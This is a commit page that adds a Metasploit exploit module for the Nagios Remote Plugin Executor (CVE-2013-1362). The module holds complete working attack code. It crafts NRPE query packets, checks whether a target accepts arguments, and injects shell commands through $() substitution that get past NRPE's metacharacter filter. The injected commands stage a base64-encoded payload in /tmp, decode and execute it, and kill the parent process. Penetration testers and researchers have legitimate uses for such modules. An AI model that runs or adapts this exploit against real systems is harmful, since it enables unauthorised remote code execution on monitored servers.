Added module for CVE-2013-1362
Module exploits a shell code metacharacter escaping vulnerability in poorly configured Nagios Remote Plugin Executor installations.unstable
parent
40e801d345
commit
21e9f7dbd2
|
@ -0,0 +1,193 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
#
|
||||
|
||||
require 'msf/core'
|
||||
require 'zlib'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
|
||||
# would like to replace these globals how would I do that?
|
||||
@ssl_socket = nil
|
||||
@force_ssl = false
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Nagios Remote Plugin Executor Arbitrary Command Execution',
|
||||
'Description' => %q{
|
||||
The Nagios Remote Plugin Executor (NRPE) is installed to allow a central
|
||||
Nagios server to actively poll information from the hosts it monitors. NRPE
|
||||
has a configuration option dont_blame_nrpe (with a caveat above it ENABLING
|
||||
THIS OPTION IS A SECURITY RISK!) which enables command-line arguments to be
|
||||
provided remote plugins. This option is often enabled, and while NRPE makes
|
||||
an effort to sanitize arguments to prevent command execution, it is possible
|
||||
to execute arbitrary commands. },
|
||||
'DefaultOptions' => {
|
||||
'EXITFUNC' => 'process',
|
||||
'PrependFork' => 'yes',
|
||||
'AppendExit' => 'yes',
|
||||
|
||||
},
|
||||
'Author' => [
|
||||
'jwpari <jwpari[at]beersec.org>'
|
||||
],
|
||||
'References' => [
|
||||
[ 'CVE', '2012-5194'],
|
||||
[ 'CVE', '2013-1362'],
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => [ 'unix' ],
|
||||
'Arch' => [ ARCH_CMD ],
|
||||
'Payload' =>
|
||||
{
|
||||
'DisableNops' => true,
|
||||
'Compat' =>
|
||||
{
|
||||
'PayloadType' => 'cmd',
|
||||
'RequiredCmd' => 'perl python ruby bash telnet',
|
||||
# *_perl, *_python and *_ruby work if they are installed
|
||||
}
|
||||
},
|
||||
'Targets' => [
|
||||
['Nagios Remote Plugin Executor prior to 2.14', {}]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Sep 23 2012'
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(5666),
|
||||
OptString.new('CMD', [ true, "NRPE Command to exploit, command must be configured to accept arguments in nrpe.cfg", 'check_procs']),
|
||||
# Rex::Socket::Tcp will not work with ADH, see comment with replacement connect below
|
||||
OptBool.new('NRPESSL', [ true, "Use NRPE's Anonymous-Diffie-Hellman-variant SSL ", true])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def send_message(sock, message)
|
||||
checksum = 0
|
||||
|
||||
packet = [
|
||||
2, # packet version
|
||||
1, # packet type, 1 => query packet
|
||||
0, # checksum, to be added later
|
||||
0, # result code, discarded for query packet
|
||||
message, # the command and arguments
|
||||
0 # padding
|
||||
]
|
||||
packet[2] = Zlib::crc32(packet.pack("nnNna1024n")) # calculate the checksum
|
||||
begin
|
||||
self.sock.put(packet.pack("nnNna1024n")) #send the packet
|
||||
res = self.sock.get_once # get the response
|
||||
rescue ::EOFError => eof
|
||||
res = ""
|
||||
end
|
||||
|
||||
return res.unpack("nnNnA1024n")[4] unless res.nil?
|
||||
end
|
||||
|
||||
def exploit
|
||||
|
||||
if check != Exploit::CheckCode::Vulnerable
|
||||
fail_with(Exploit::Failure::NotFound, "Host does not support plugin command line arguments or is not accepting connections")
|
||||
end
|
||||
|
||||
self.connect
|
||||
print_status("Sending request...")
|
||||
|
||||
elf = Msf::Util::EXE.to_linux_x86_elf(framework, payload.raw)
|
||||
|
||||
stage = "setsid nohup #{payload.encoded} & "
|
||||
|
||||
stage = Rex::Text.encode_base64(stage)
|
||||
|
||||
# NRPE will reject queries containing |`&><'\"\\[]{}; but not $() :)
|
||||
|
||||
command = datastore['CMD']
|
||||
command << "!"
|
||||
command << "$($(rm -f /tmp/$$)" # Delete the file if it exists
|
||||
|
||||
# need a way to write to a file without using redirection (>)
|
||||
# cant count on perl being on all linux hosts, use GNU Sed
|
||||
# TODO: Probably a better way to do this, some hosts may not have a /tmp
|
||||
command << "$(cp -f /etc/passwd /tmp/$$)" # populate the file with at least one line of text
|
||||
command << "$(sed 1i#{stage} -i /tmp/$$)" # prepend our stage to the file
|
||||
command << "$(sed q -i /tmp/$$)" # delete the rest of the lines after our stage
|
||||
command << "$(eval $(base64 -d /tmp/$$) )" # decode and execute our stage, base64 is in coreutils right?
|
||||
command << "$(kill -9 $$))" # kill check_procs parent (popen'd sh) so that it never executes
|
||||
send_message(sock, command)
|
||||
handler
|
||||
self.disconnect
|
||||
|
||||
end
|
||||
|
||||
def check
|
||||
|
||||
print_status("Checking if remote nrpe supports command line arguments")
|
||||
|
||||
begin
|
||||
# send query asking to run "fake_check" command with command substitution in arguments
|
||||
self.connect
|
||||
res = send_message(sock, "__fake_check!$()")
|
||||
# if nrpe is configured to support arguments and is not patched to add $() to
|
||||
# NASTY_META_CHARS then the service will return:
|
||||
# NRPE: Command '__fake_check' not defined
|
||||
if res =~ /not defined/
|
||||
return Exploit::CheckCode::Vulnerable
|
||||
end
|
||||
|
||||
# Otherwise the service will close the connection if it is configured to disable arguments
|
||||
rescue EOFError => eof
|
||||
return Exploit::CheckCode::Safe
|
||||
rescue Errno::ECONNRESET => reset
|
||||
|
||||
unless datastore['NRPESSL'] or @force_ssl
|
||||
print_status("Retrying with ADH SSL")
|
||||
@force_ssl = true
|
||||
retry
|
||||
end
|
||||
return Exploit::CheckCode::Safe
|
||||
rescue => e
|
||||
return Exploit::CheckCode::Unknown
|
||||
end
|
||||
# TODO: patched version appears to go here
|
||||
return Exploit::CheckCode::Unknown
|
||||
|
||||
end
|
||||
|
||||
# NRPE uses unauthenticated Annonymous-Diffie-Hellman
|
||||
|
||||
# setting the global SSL => true will break as we would be overlaying
|
||||
# an SSLSocket on another SSLSocket which hasnt completed its handshake
|
||||
def connect(global = true, opts={})
|
||||
|
||||
self.sock = super(global, opts)
|
||||
|
||||
if datastore['NRPESSL'] or @force_ssl
|
||||
ctx = OpenSSL::SSL::SSLContext.new("TLSv1")
|
||||
ctx.verify_mode = OpenSSL::SSL::VERIFY_NONE
|
||||
ctx.ciphers = "ADH"
|
||||
|
||||
@ssl_socket = OpenSSL::SSL::SSLSocket.new(self.sock, ctx)
|
||||
|
||||
@ssl_socket.connect
|
||||
|
||||
self.sock.extend(Rex::Socket::SslTcp)
|
||||
self.sock.sslsock = @ssl_socket
|
||||
self.sock.sslctx = ctx
|
||||
end
|
||||
|
||||
return self.sock
|
||||
end
|
||||
def disconnect
|
||||
@ssl_socket.sysclose if datastore['NRPESSL'] or @force_ssl
|
||||
super
|
||||
end
|
||||
|
||||
end
|
Loading…
Reference in New Issue